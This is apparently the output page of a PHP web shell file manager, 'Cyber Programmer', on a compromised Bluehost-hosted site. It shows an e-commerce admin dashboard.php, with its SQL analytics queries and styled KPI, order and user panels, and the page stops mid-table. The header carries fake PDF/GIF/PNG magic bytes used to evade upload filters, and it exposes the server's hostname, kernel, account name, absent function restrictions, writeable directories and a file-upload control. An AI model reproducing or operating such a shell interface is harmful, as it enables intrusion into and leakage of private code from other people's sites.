%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/dashboard.php
<?php

session_start();

/*
|--------------------------------------------------------------------------
| ADMIN AUTH CHECK
|--------------------------------------------------------------------------
*/

if (!isset($_SESSION["username"])) {
    header('Location: ../admin.php');
    exit;
}

include('header.php');
include("../dbcon.php");

/*
|--------------------------------------------------------------------------
| HELPERS
|--------------------------------------------------------------------------
*/

function e($value)
{
    return htmlspecialchars(
        (string)$value,
        ENT_QUOTES,
        'UTF-8'
    );
}

function tableExists($conn, $table)
{
    $table = mysqli_real_escape_string($conn, $table);

    $qry = mysqli_query(
        $conn,
        "SHOW TABLES LIKE '$table'"
    );

    return $qry && mysqli_num_rows($qry) > 0;
}

function columnExists($conn, $table, $column)
{
    $table  = mysqli_real_escape_string($conn, $table);
    $column = mysqli_real_escape_string($conn, $column);

    $qry = mysqli_query(
        $conn,
        "SHOW COLUMNS
         FROM `$table`
         LIKE '$column'"
    );

    return $qry && mysqli_num_rows($qry) > 0;
}

function getCount($conn, $sql)
{
    $qry = mysqli_query($conn, $sql);

    if ($qry) {
        $row = mysqli_fetch_assoc($qry);

        return (int)($row['total'] ?? 0);
    }

    return 0;
}

function getAmount($conn, $sql)
{
    $qry = mysqli_query($conn, $sql);

    if ($qry) {
        $row = mysqli_fetch_assoc($qry);

        return (float)($row['amount'] ?? 0);
    }

    return 0;
}

function money($amount, $symbol = '€')
{
    return $symbol . number_format(
        (float)$amount,
        2
    );
}

function orderBadge($status)
{
    $status = strtolower(trim((string)$status));

    switch ($status) {

        case 'pending':
            return [
                'class' => 'status-warning',
                'icon'  => 'fa-clock',
                'label' => 'Pending'
            ];

        case 'processing':
            return [
                'class' => 'status-info',
                'icon'  => 'fa-gears',
                'label' => 'Processing'
            ];

        case 'shipped':
            return [
                'class' => 'status-primary',
                'icon'  => 'fa-truck-fast',
                'label' => 'Shipped'
            ];

        case 'delivered':
        case 'completed':
            return [
                'class' => 'status-success',
                'icon'  => 'fa-circle-check',
                'label' => ucfirst($status)
            ];

        case 'cancelled':
        case 'canceled':
            return [
                'class' => 'status-danger',
                'icon'  => 'fa-circle-xmark',
                'label' => 'Cancelled'
            ];

        default:
            return [
                'class' => 'status-secondary',
                'icon'  => 'fa-circle-info',
                'label' => $status
                    ? ucfirst($status)
                    : 'Unknown'
            ];
    }
}

/*
|--------------------------------------------------------------------------
| TABLE DETECTION
|--------------------------------------------------------------------------
*/

$hasUsers          = tableExists($conn, 'user');
$hasProducts       = tableExists($conn, 'areawecover');
$hasCategories     = tableExists($conn, 'arawecovercategory');
$hasOrders         = tableExists($conn, 'orders');
$hasOrderItems     = tableExists($conn, 'order_items');
$hasCart           = tableExists($conn, 'cart_items');
$hasWishlist       = tableExists($conn, 'wishlist_items');
$hasNotify         = tableExists($conn, 'notify_me');
$hasAddresses      = tableExists($conn, 'user_address');
$hasPasswordResets = tableExists($conn, 'password_resets');
$hasContacts       = tableExists($conn, 'contact_messages');

/*
|--------------------------------------------------------------------------
| CURRENCY SETTINGS
|--------------------------------------------------------------------------
*/

$currency_symbol = '€';
$currency_code   = 'EUR';

if (tableExists($conn, 'app_setting')) {

    $settingQry = mysqli_query(
        $conn,
        "SELECT *
         FROM app_setting
         LIMIT 1"
    );

    if ($settingQry && mysqli_num_rows($settingQry) > 0) {

        $setting = mysqli_fetch_assoc($settingQry);

        if (!empty($setting['currency_symbol'])) {
            $currency_symbol = $setting['currency_symbol'];
        }

        if (!empty($setting['currency_code'])) {
            $currency_code = $setting['currency_code'];
        }
    }
}

/*
|--------------------------------------------------------------------------
| USERS ANALYTICS
|--------------------------------------------------------------------------
*/

$total_users        = 0;
$today_users        = 0;
$social_users       = 0;
$google_users       = 0;
$facebook_users     = 0;

if ($hasUsers) {

    $total_users = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM user"
    );

    if (columnExists($conn, 'user', 'created_date')) {

        $today_users = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM user
             WHERE DATE(created_date) = CURDATE()"
        );
    }

    if (columnExists($conn, 'user', 'social_type')) {

        $social_users = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM user
             WHERE social_type IS NOT NULL
             AND social_type != ''"
        );

        $google_users = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM user
             WHERE LOWER(social_type) = 'google'"
        );

        $facebook_users = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM user
             WHERE LOWER(social_type) = 'facebook'"
        );
    }
}

/*
|--------------------------------------------------------------------------
| PRODUCT ANALYTICS
|--------------------------------------------------------------------------
*/

$total_products      = 0;
$active_products     = 0;
$out_of_stock        = 0;
$low_stock           = 0;
$total_categories    = 0;

if ($hasProducts) {

    $total_products = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM areawecover"
    );

    if (columnExists($conn, 'areawecover', 'status')) {

        $active_products = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM areawecover
             WHERE status = '1'"
        );
    }

    if (columnExists($conn, 'areawecover', 'stock')) {

        $out_of_stock = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM areawecover
             WHERE stock <= 0"
        );

        $low_stock = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM areawecover
             WHERE stock > 0
             AND stock <= 5"
        );
    }
}

if ($hasCategories) {

    $total_categories = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM arawecovercategory"
    );
}

/*
|--------------------------------------------------------------------------
| ORDER ANALYTICS
|--------------------------------------------------------------------------
*/

$total_orders      = 0;
$today_orders      = 0;
$pending_orders    = 0;
$processing_orders = 0;
$shipped_orders    = 0;
$delivered_orders  = 0;
$cancelled_orders  = 0;

$total_revenue     = 0;
$today_revenue     = 0;
$average_order     = 0;

$online_orders     = 0;
$cod_orders        = 0;

if ($hasOrders) {

    $total_orders = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM orders"
    );

    if (columnExists($conn, 'orders', 'created_at')) {

        $today_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE DATE(created_at) = CURDATE()"
        );
    }

    if (columnExists($conn, 'orders', 'order_status')) {

        $pending_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(order_status) = 'pending'"
        );

        $processing_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(order_status) = 'processing'"
        );

        $shipped_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(order_status) = 'shipped'"
        );

        $delivered_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(order_status)
             IN ('delivered','completed')"
        );

        $cancelled_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(order_status)
             IN ('cancelled','canceled')"
        );
    }

    if (columnExists($conn, 'orders', 'total_amount')) {

        $total_revenue = getAmount(
            $conn,
            "SELECT
                COALESCE(SUM(total_amount), 0)
                AS amount
             FROM orders
             WHERE LOWER(order_status)
             NOT IN ('cancelled','canceled')"
        );

        if (columnExists($conn, 'orders', 'created_at')) {

            $today_revenue = getAmount(
                $conn,
                "SELECT
                    COALESCE(SUM(total_amount), 0)
                    AS amount
                 FROM orders
                 WHERE DATE(created_at) = CURDATE()
                 AND LOWER(order_status)
                 NOT IN ('cancelled','canceled')"
            );
        }

        if ($total_orders > 0) {
            $average_order =
                $total_revenue / $total_orders;
        }
    }

    if (columnExists($conn, 'orders', 'payment_type')) {

        $online_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(payment_type) = 'online'"
        );

        $cod_orders = getCount(
            $conn,
            "SELECT COUNT(*) AS total
             FROM orders
             WHERE LOWER(payment_type) = 'cod'"
        );
    }
}

/*
|--------------------------------------------------------------------------
| CART / WISHLIST / NOTIFY / ADDRESS
|--------------------------------------------------------------------------
*/

$total_cart_items    = 0;
$total_wishlist      = 0;
$total_notify        = 0;
$total_addresses     = 0;
$pending_otp         = 0;
$total_contacts      = 0;

if ($hasCart) {

    $total_cart_items = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM cart_items"
    );
}

if ($hasWishlist) {

    $total_wishlist = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM wishlist_items"
    );
}

if ($hasNotify) {

    $total_notify = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM notify_me"
    );
}

if ($hasAddresses) {

    $total_addresses = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM user_address"
    );
}

if ($hasPasswordResets) {

    $pending_otp = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM password_resets
         WHERE is_verified = '0'"
    );
}

if ($hasContacts) {

    $total_contacts = getCount(
        $conn,
        "SELECT COUNT(*) AS total
         FROM contact_messages"
    );
}

/*
|--------------------------------------------------------------------------
| PERFORMANCE RATES
|--------------------------------------------------------------------------
*/

$completion_rate   = 0;
$cancellation_rate = 0;

if ($total_orders > 0) {

    $completion_rate = round(
        ($delivered_orders / $total_orders) * 100,
        1
    );

    $cancellation_rate = round(
        ($cancelled_orders / $total_orders) * 100,
        1
    );
}

/*
|--------------------------------------------------------------------------
| LAST 6 MONTHS CHART
|--------------------------------------------------------------------------
*/

$months_array   = [];
$orders_trend   = [];
$revenue_trend  = [];
$cancel_trend   = [];

$monthMap = [];

for ($i = 5; $i >= 0; $i--) {

    $monthKey = date(
        'Y-m',
        strtotime("-$i months")
    );

    $monthLabel = date(
        'M Y',
        strtotime("-$i months")
    );

    $months_array[] = $monthLabel;

    $monthMap[$monthKey] = [
        'orders'    => 0,
        'revenue'   => 0,
        'cancelled' => 0
    ];
}

if (
    $hasOrders &&
    columnExists($conn, 'orders', 'created_at')
) {

    $revenueExpression =
        columnExists($conn, 'orders', 'total_amount')
        ? "COALESCE(SUM(total_amount), 0)"
        : "0";

    $cancelExpression =
        columnExists($conn, 'orders', 'order_status')
        ? "
        SUM(
            CASE
                WHEN LOWER(order_status)
                IN ('cancelled','canceled')
                THEN 1
                ELSE 0
            END
        )
        "
        : "0";

    $trendQry = mysqli_query(
        $conn,
        "
        SELECT
            DATE_FORMAT(created_at, '%Y-%m')
            AS month_key,

            COUNT(*) AS total_orders,

            $revenueExpression
            AS total_revenue,

            $cancelExpression
            AS cancelled_orders

        FROM orders

        WHERE created_at >=
            DATE_FORMAT(
                DATE_SUB(
                    CURDATE(),
                    INTERVAL 5 MONTH
                ),
                '%Y-%m-01'
            )

        GROUP BY
            YEAR(created_at),
            MONTH(created_at)

        ORDER BY
            YEAR(created_at) ASC,
            MONTH(created_at) ASC
        "
    );

    if ($trendQry) {

        while ($row = mysqli_fetch_assoc($trendQry)) {

            $key = $row['month_key'];

            if (isset($monthMap[$key])) {

                $monthMap[$key]['orders'] =
                    (int)$row['total_orders'];

                $monthMap[$key]['revenue'] =
                    (float)$row['total_revenue'];

                $monthMap[$key]['cancelled'] =
                    (int)$row['cancelled_orders'];
            }
        }
    }
}

foreach ($monthMap as $monthData) {

    $orders_trend[] =
        $monthData['orders'];

    $revenue_trend[] =
        $monthData['revenue'];

    $cancel_trend[] =
        $monthData['cancelled'];
}

/*
|--------------------------------------------------------------------------
| RECENT ORDERS
|--------------------------------------------------------------------------
*/

$recentOrders = [];

if ($hasOrders) {

    $selectFields = "
        id,
        user_id
    ";

    $selectFields .=
        columnExists($conn, 'orders', 'unique_order_id')
        ? ", unique_order_id"
        : ", id AS unique_order_id";

    $selectFields .=
        columnExists($conn, 'orders', 'full_name')
        ? ", full_name"
        : ", '' AS full_name";

    $selectFields .=
        columnExists($conn, 'orders', 'total_amount')
        ? ", total_amount"
        : ", 0 AS total_amount";

    $selectFields .=
        columnExists($conn, 'orders', 'payment_type')
        ? ", payment_type"
        : ", '' AS payment_type";

    $selectFields .=
        columnExists($conn, 'orders', 'order_status')
        ? ", order_status"
        : ", '' AS order_status";

    $selectFields .=
        columnExists($conn, 'orders', 'created_at')
        ? ", created_at"
        : ", NOW() AS created_at";

    $recentQry = mysqli_query(
        $conn,
        "
        SELECT
            $selectFields

        FROM orders

        ORDER BY id DESC

        LIMIT 7
        "
    );

    if ($recentQry) {

        while ($row = mysqli_fetch_assoc($recentQry)) {
            $recentOrders[] = $row;
        }
    }
}

/*
|--------------------------------------------------------------------------
| LOW STOCK PRODUCTS
|--------------------------------------------------------------------------
*/

$lowStockProducts = [];

if (
    $hasProducts &&
    columnExists($conn, 'areawecover', 'stock')
) {

    $lowStockQry = mysqli_query(
        $conn,
        "
        SELECT
            id,
            title,
            stock,
            price,
            image

        FROM areawecover

        WHERE stock <= 5

        ORDER BY stock ASC, id DESC

        LIMIT 5
        "
    );

    if ($lowStockQry) {

        while ($row = mysqli_fetch_assoc($lowStockQry)) {
            $lowStockProducts[] = $row;
        }
    }
}

/*
|--------------------------------------------------------------------------
| RECENT USERS
|--------------------------------------------------------------------------
*/

$recentUsers = [];

if ($hasUsers) {

    $userDateField =
        columnExists($conn, 'user', 'created_date')
        ? "created_date"
        : "NULL AS created_date";

    $profileField =
        columnExists($conn, 'user', 'profile_image')
        ? "profile_image"
        : "'' AS profile_image";

    $socialField =
        columnExists($conn, 'user', 'social_type')
        ? "social_type"
        : "'' AS social_type";

    $recentUserQry = mysqli_query(
        $conn,
        "
        SELECT
            id,
            username,
            email,
            phone,
            $profileField,
            $socialField,
            $userDateField

        FROM user

        ORDER BY id DESC

        LIMIT 5
        "
    );

    if ($recentUserQry) {

        while ($row = mysqli_fetch_assoc($recentUserQry)) {
            $recentUsers[] = $row;
        }
    }
}

?>

<!-- ==========================================================
     FONT AWESOME
========================================================== -->

<link
    rel="stylesheet"
    href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
>

<style>

/* ==========================================================
   HIGH LEVEL ADMIN DASHBOARD
========================================================== */

:root {

    --primary: #696cff;
    --primary-soft: rgba(105,108,255,.12);

    --success: #28c76f;
    --success-soft: rgba(40,199,111,.12);

    --danger: #ea5455;
    --danger-soft: rgba(234,84,85,.12);

    --warning: #ff9f43;
    --warning-soft: rgba(255,159,67,.14);

    --info: #00cfe8;
    --info-soft: rgba(0,207,232,.12);

    --dark: #2f3349;
    --muted: #8a8d93;
    --border: #ebeef2;
    --page-bg: #f7f7fb;
}

.dashboard-page {
    background: var(--page-bg);
    min-height: 100vh;
}

.dashboard-container {
    padding: 28px;
}

.dashboard-page a {
    text-decoration: none !important;
}

/* HERO */

.dashboard-hero {

    background:
        linear-gradient(
            135deg,
            #696cff 0%,
            #5b5eea 55%,
            #7367f0 100%
        );

    border-radius: 20px;

    padding: 30px;

    color: #fff;

    position: relative;

    overflow: hidden;

    box-shadow:
        0 15px 35px
        rgba(105,108,255,.22);
}

.dashboard-hero::before {

    content: "";

    position: absolute;

    width: 280px;
    height: 280px;

    border-radius: 50%;

    background:
        rgba(255,255,255,.08);

    right: -80px;
    top: -140px;
}

.dashboard-hero::after {

    content: "";

    position: absolute;

    width: 170px;
    height: 170px;

    border-radius: 50%;

    background:
        rgba(255,255,255,.06);

    right: 180px;
    bottom: -120px;
}

.hero-content {
    position: relative;
    z-index: 2;
}

.hero-title {

    font-size: 27px;

    font-weight: 800;

    margin-bottom: 7px;
}

.hero-subtitle {

    opacity: .85;

    font-size: 14px;

    margin: 0;
}

.hero-chip {

    display: inline-flex;

    align-items: center;

    gap: 8px;

    padding: 10px 15px;

    border-radius: 12px;

    background:
        rgba(255,255,255,.14);

    border:
        1px solid
        rgba(255,255,255,.18);

    backdrop-filter: blur(8px);

    font-size: 13px;
}

/* METRIC CARD */

.metric-card {

    border: 0;

    border-radius: 17px;

    background: #fff;

    height: 100%;

    box-shadow:
        0 5px 20px
        rgba(47,51,73,.06);

    transition:
        transform .25s ease,
        box-shadow .25s ease;
}

.metric-card:hover {

    transform:
        translateY(-5px);

    box-shadow:
        0 15px 32px
        rgba(47,51,73,.11);
}

.metric-card .card-body {
    padding: 22px;
}

.metric-label {

    font-size: 11px;

    font-weight: 800;

    color: var(--muted);

    text-transform: uppercase;

    letter-spacing: .06em;
}

.metric-value {

    font-size: 28px;

    line-height: 1.2;

    font-weight: 800;

    color: var(--dark);

    margin-top: 10px;
}

.metric-note {

    font-size: 12px;

    color: var(--muted);

    margin-top: 7px;
}

.metric-icon {

    width: 52px;
    height: 52px;

    display: flex;

    align-items: center;

    justify-content: center;

    border-radius: 14px;

    font-size: 20px;
}

.icon-primary {
    color: var(--primary);
    background: var(--primary-soft);
}

.icon-success {
    color: var(--success);
    background: var(--success-soft);
}

.icon-danger {
    color: var(--danger);
    background: var(--danger-soft);
}

.icon-warning {
    color: var(--warning);
    background: var(--warning-soft);
}

.icon-info {
    color: var(--info);
    background: var(--info-soft);
}

/* PREMIUM CARD */

.premium-card {

    border: 0;

    border-radius: 17px;

    background: #fff;

    box-shadow:
        0 5px 20px
        rgba(47,51,73,.06);

    overflow: hidden;
}

.premium-header {

    padding: 20px 22px;

    background: #fff;

    border-bottom:
        1px solid var(--border);
}

.section-title {

    font-size: 16px;

    font-weight: 800;

    color: var(--dark);

    margin: 0;
}

.section-subtitle {

    font-size: 12px;

    color: var(--muted);

    margin-top: 4px;
}

/* MINI CARDS */

.mini-card {

    padding: 18px;

    border-radius: 15px;

    background: #fff;

    border:
        1px solid #eef0f5;

    box-shadow:
        0 4px 15px
        rgba(47,51,73,.04);
}

.mini-value {

    font-size: 21px;

    font-weight: 800;

    color: var(--dark);
}

.mini-label {

    font-size: 11px;

    color: var(--muted);

    margin-top: 3px;
}

/* TABLE */

.dashboard-table {
    margin-bottom: 0;
}

.dashboard-table thead th {

    border: 0;

    background: #fafafe;

    color: #7d8089;

    font-size: 11px;

    text-transform: uppercase;

    letter-spacing: .045em;

    padding: 14px 18px;

    white-space: nowrap;
}

.dashboard-table tbody td {

    padding: 16px 18px;

    border-color: #f0f1f5;

    vertical-align: middle;
}

.order-number {

    font-weight: 800;

    color: var(--primary);
}

/* STATUS */

.status-badge {

    display: inline-flex;

    align-items: center;

    gap: 6px;

    padding: 7px 11px;

    border-radius: 30px;

    font-size: 11px;

    font-weight: 700;

    white-space: nowrap;
}

.status-warning {
    color: #b76e00;
    background: var(--warning-soft);
}

.status-info {
    color: #008ca0;
    background: var(--info-soft);
}

.status-primary {
    color: #5255d9;
    background: var(--primary-soft);
}

.status-success {
    color: #168a4c;
    background: var(--success-soft);
}

.status-danger {
    color: #c63d3e;
    background: var(--danger-soft);
}

.status-secondary {
    color: #6c757d;
    background: rgba(108,117,125,.12);
}

/* QUICK ACTION */

.quick-action {

    padding: 14px;

    border-radius: 14px;

    border:
        1px solid #eef0f5;

    background: #fafafe;

    color: var(--dark);

    transition: all .25s ease;
}

.quick-action:hover {

    transform:
        translateX(4px);

    background: #fff;

    border-color:
        rgba(105,108,255,.25);

    box-shadow:
        0 8px 18px
        rgba(47,51,73,.07);
}

.quick-icon {

    width: 43px;
    height: 43px;

    border-radius: 12px;

    display: flex;

    align-items: center;

    justify-content: center;
}

/* PRODUCT IMAGE */

.product-thumb {

    width: 45px;
    height: 45px;

    object-fit: cover;

    border-radius: 11px;

    border:
        1px solid #eee;
}

/* USER AVATAR */

.user-avatar {

    width: 42px;
    height: 42px;

    border-radius: 50%;

    object-fit: cover;

    background: var(--primary-soft);

    display: flex;

    align-items: center;

    justify-content: center;

    color: var(--primary);

    font-weight: 800;
}

/* PROGRESS */

.performance-progress {

    height: 7px;

    background: #f0f1f5;

    border-radius: 20px;

    overflow: hidden;
}

.performance-bar {

    height: 100%;

    border-radius: 20px;
}

/* RESPONSIVE */

@media(max-width: 767px) {

    .dashboard-container {
        padding: 16px;
    }

    .dashboard-hero {
        padding: 22px;
    }

    .hero-title {
        font-size: 21px;
    }

    .hero-chip {
        margin-top: 15px;
    }
}

</style>


<div class="content-wrapper dashboard-page">

<div class="container-fluid dashboard-container">


<!-- ==========================================================
     HERO
========================================================== -->

<div class="dashboard-hero mb-4">

    <div class="hero-content">

        <div class="row align-items-center">

            <div class="col-lg-8">

                <div class="hero-title">

                    Welcome back,
                    <?= e($_SESSION["username"]); ?> 👋

                </div>

                <p class="hero-subtitle">

                    Monitor customers, products,
                    orders, payments and store
                    performance from one place.

                </p>

            </div>

            <div class="col-lg-4 text-lg-end">

                <div class="hero-chip">

                    <i class="fa-regular fa-calendar"></i>

                    <?= date('l, d M Y'); ?>

                </div>

            </div>

        </div>

    </div>

</div>


<!-- ==========================================================
     MAIN KPI CARDS
========================================================== -->

<div class="row g-4 mb-4">


<!-- Revenue -->

<div class="col-sm-6 col-xl-3">

    <div class="card metric-card">

        <div class="card-body">

            <div class="d-flex justify-content-between">

                <div>

                    <div class="metric-label">
                        Total Revenue
                    </div>

                    <div class="metric-value">

                        <?= money(
                            $total_revenue,
                            $currency_symbol
                        ); ?>

                    </div>

                    <div class="metric-note">

                        Today:

                        <span class="text-success fw-bold">

                            <?= money(
                                $today_revenue,
                                $currency_symbol
                            ); ?>

                        </span>

                    </div>

                </div>

                <div class="metric-icon icon-success">

                    <i class="fa-solid fa-wallet"></i>

                </div>

            </div>

        </div>

    </div>

</div>


<!-- Orders -->

<div class="col-sm-6 col-xl-3">

    <div class="card metric-card">

        <div class="card-body">

            <div class="d-flex justify-content-between">

                <div>

                    <div class="metric-label">
                        Total Orders
                    </div>

                    <div class="metric-value">

                        <?= number_format(
                            $total_orders
                        ); ?>

                    </div>

                    <div class="metric-note">

                        <span class="text-primary fw-bold">

                            <?= number_format(
                                $today_orders
                            ); ?>

                        </span>

                        orders today

                    </div>

                </div>

                <div class="metric-icon icon-primary">

                    <i class="fa-solid fa-bag-shopping"></i>

                </div>

            </div>

        </div>

    </div>

</div>


<!-- Users -->

<div class="col-sm-6 col-xl-3">

    <div class="card metric-card">

        <div class="card-body">

            <div class="d-flex justify-content-between">

                <div>

                    <div class="metric-label">
                        Customers
                    </div>

                    <div class="metric-value">

                        <?= number_format(
                            $total_users
                        ); ?>

                    </div>

                    <div class="metric-note">

                        <span class="text-success fw-bold">

                            <?= number_format(
                                $today_users
                            ); ?>

                        </span>

                        joined today

                    </div>

                </div>

                <div class="metric-icon icon-info">

                    <i class="fa-solid fa-users"></i>

                </div>

            </div>

        </div>

    </div>

</div>


<!-- Products -->

<div class="col-sm-6 col-xl-3">

    <div class="card metric-card">

        <div class="card-body">

            <div class="d-flex justify-content-between">

                <div>

                    <div class="metric-label">
                        Products
                    </div>

                    <div class="metric-value">

                        <?= number_format(
                            $total_products
                        ); ?>

                    </div>

                    <div class="metric-note">

                        <span class="text-danger fw-bold">

                            <?= number_format(
                                $out_of_stock
                            ); ?>

                        </span>

                        out of stock

                    </div>

                </div>

                <div class="metric-icon icon-warning">

                    <i class="fa-solid fa-box-open"></i>

                </div>

            </div>

        </div>

    </div>

</div>

</div>


<!-- ==========================================================
     SECONDARY API MODULE METRICS
========================================================== -->

<div class="row g-4 mb-4">


<div class="col-md-6 col-xl-3">

    <div class="mini-card">

        <div class="d-flex align-items-center gap-3">

            <div class="metric-icon icon-warning">

                <i class="fa-solid fa-cart-shopping"></i>

            </div>

            <div>

                <div class="mini-value">

                    <?= number_format(
                        $total_cart_items
                    ); ?>

                </div>

                <div class="mini-label">
                    Active Cart Items
                </div>

            </div>

        </div>

    </div>

</div>


<div class="col-md-6 col-xl-3">

    <div class="mini-card">

        <div class="d-flex align-items-center gap-3">

            <div class="metric-icon icon-danger">

                <i class="fa-solid fa-heart"></i>

            </div>

            <div>

                <div class="mini-value">

                    <?= number_format(
                        $total_wishlist
                    ); ?>

                </div>

                <div class="mini-label">
                    Wishlist Items
                </div>

            </div>

        </div>

    </div>

</div>


<div class="col-md-6 col-xl-3">

    <div class="mini-card">

        <div class="d-flex align-items-center gap-3">

            <div class="metric-icon icon-info">

                <i class="fa-solid fa-bell"></i>

            </div>

            <div>

                <div class="mini-value">

                    <?= number_format(
                        $total_notify
                    ); ?>

                </div>

                <div class="mini-label">
                    Notify Me Requests
                </div>

            </div>

        </div>

    </div>

</div>


<div class="col-md-6 col-xl-3">

    <div class="mini-card">

        <div class="d-flex align-items-center gap-3">

            <div class="metric-icon icon-primary">

                <i class="fa-solid fa-location-dot"></i>

            </div>

            <div>

                <div class="mini-value">

                    <?= number_format(
                        $total_addresses
                    ); ?>

                </div>

                <div class="mini-label">
                    Saved Addresses
                </div>

            </div>

        </div>

    </div>

</div>

</div>


<!-- ==========================================================
     ANALYTICS CHART + ORDER HEALTH
========================================================== -->

<div class="row g-4 mb-4">


<!-- Chart -->

<div class="col-xl-8">

    <div class="premium-card h-100">

        <div class="premium-header">

            <div class="d-flex
                        justify-content-between
                        align-items-center">

                <div>

                    <h5 class="section-title">

                        <i class="fa-solid
                                  fa-chart-line
                                  text-primary
                                  me-2"></i>

                        Store Performance

                    </h5>

                    <div class="section-subtitle">

                        Orders, revenue and cancellations
                        for last 6 months

                    </div>

                </div>

                <span class="badge
                             bg-primary
                             bg-opacity-10
                             text-primary
                             rounded-pill
                             px-3 py-2">

                    <?= e($currency_code); ?>

                </span>

            </div>

        </div>

        <div class="card-body">

            <div
                id="storeAnalyticsChart"
                style="min-height:370px;"
            ></div>

        </div>

    </div>

</div>


<!-- Health -->

<div class="col-xl-4">

    <div class="premium-card h-100">

        <div class="premium-header">

            <h5 class="section-title">

                <i class="fa-solid
                          fa-gauge-high
                          text-success
                          me-2"></i>

                Order Health

            </h5>

            <div class="section-subtitle">

                Current store operations

            </div>

        </div>

        <div class="card-body p-4">


            <!-- Completion -->

            <div class="mb-4">

                <div class="d-flex
                            justify-content-between
                            mb-2">

                    <span class="small fw-bold">
                        Completion Rate
                    </span>

                    <span class="small
                                 fw-bold
                                 text-success">

                        <?= e($completion_rate); ?>%

                    </span>

                </div>

                <div class="performance-progress">

                    <div
                        class="performance-bar bg-success"
                        style="width:
                        <?= min(
                            100,
                            $completion_rate
                        ); ?>%;"
                    ></div>

                </div>

            </div>


            <!-- Cancellation -->

            <div class="mb-4">

                <div class="d-flex
                            justify-content-between
                            mb-2">

                    <span class="small fw-bold">
                        Cancellation Rate
                    </span>

                    <span class="small
                                 fw-bold
                                 text-danger">

                        <?= e(
                            $cancellation_rate
                        ); ?>%

                    </span>

                </div>

                <div class="performance-progress">

                    <div
                        class="performance-bar bg-danger"
                        style="width:
                        <?= min(
                            100,
                            $cancellation_rate
                        ); ?>%;"
                    ></div>

                </div>

            </div>


            <hr class="my-4">


            <div class="row g-3">

                <div class="col-6">

                    <div class="mini-card">

                        <div class="mini-value text-warning">

                            <?= number_format(
                                $pending_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Pending
                        </div>

                    </div>

                </div>


                <div class="col-6">

                    <div class="mini-card">

                        <div class="mini-value text-info">

                            <?= number_format(
                                $processing_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Processing
                        </div>

                    </div>

                </div>


                <div class="col-6">

                    <div class="mini-card">

                        <div class="mini-value text-primary">

                            <?= number_format(
                                $shipped_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Shipped
                        </div>

                    </div>

                </div>


                <div class="col-6">

                    <div class="mini-card">

                        <div class="mini-value text-success">

                            <?= number_format(
                                $delivered_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Completed
                        </div>

                    </div>

                </div>

            </div>


            <hr class="my-4">


            <div class="d-flex
                        justify-content-between
                        align-items-center">

                <div>

                    <div class="small text-muted">
                        Average Order Value
                    </div>

                    <div class="fw-bold fs-4">

                        <?= money(
                            $average_order,
                            $currency_symbol
                        ); ?>

                    </div>

                </div>

                <div class="metric-icon icon-success">

                    <i class="fa-solid fa-chart-pie"></i>

                </div>

            </div>

        </div>

    </div>

</div>

</div>


<!-- ==========================================================
     RECENT ORDERS + QUICK ACTIONS
========================================================== -->

<div class="row g-4 mb-4">


<!-- Recent Orders -->

<div class="col-xl-8">

    <div class="premium-card">

        <div class="premium-header">

            <div class="d-flex
                        justify-content-between
                        align-items-center">

                <div>

                    <h5 class="section-title">

                        <i class="fa-solid
                                  fa-clock-rotate-left
                                  text-primary
                                  me-2"></i>

                        Recent Orders

                    </h5>

                    <div class="section-subtitle">

                        Latest customer order activity

                    </div>

                </div>

                <a
                    href="orders.php"
                    class="btn
                           btn-sm
                           btn-primary
                           rounded-pill
                           px-3"
                >
                    View All
                </a>

            </div>

        </div>

        <div class="table-responsive">

            <table class="table dashboard-table">

                <thead>

                    <tr>

                        <th>Order</th>
                        <th>Customer</th>
                        <th>Payment</th>
                        <th>Status</th>
                        <th>Amount</th>
                        <th>Date</th>

                    </tr>

                </thead>

                <tbody>

                <?php if (!empty($recentOrders)): ?>

                    <?php foreach ($recentOrders as $order): ?>

                        <?php

                        $badge = orderBadge(
                            $order['order_status']
                        );

                        ?>

                        <tr>

                            <td>

                                <div class="order-number">

                                    #<?= e(
                                        $order['unique_order_id']
                                    ); ?>

                                </div>

                                <small class="text-muted">

                                    ID:
                                    <?= (int)$order['id']; ?>

                                </small>

                            </td>


                            <td>

                                <div class="fw-semibold">

                                    <?= e(
                                        $order['full_name']
                                        ?: 'Customer'
                                    ); ?>

                                </div>

                                <small class="text-muted">

                                    User ID:
                                    <?= (int)$order['user_id']; ?>

                                </small>

                            </td>


                            <td>

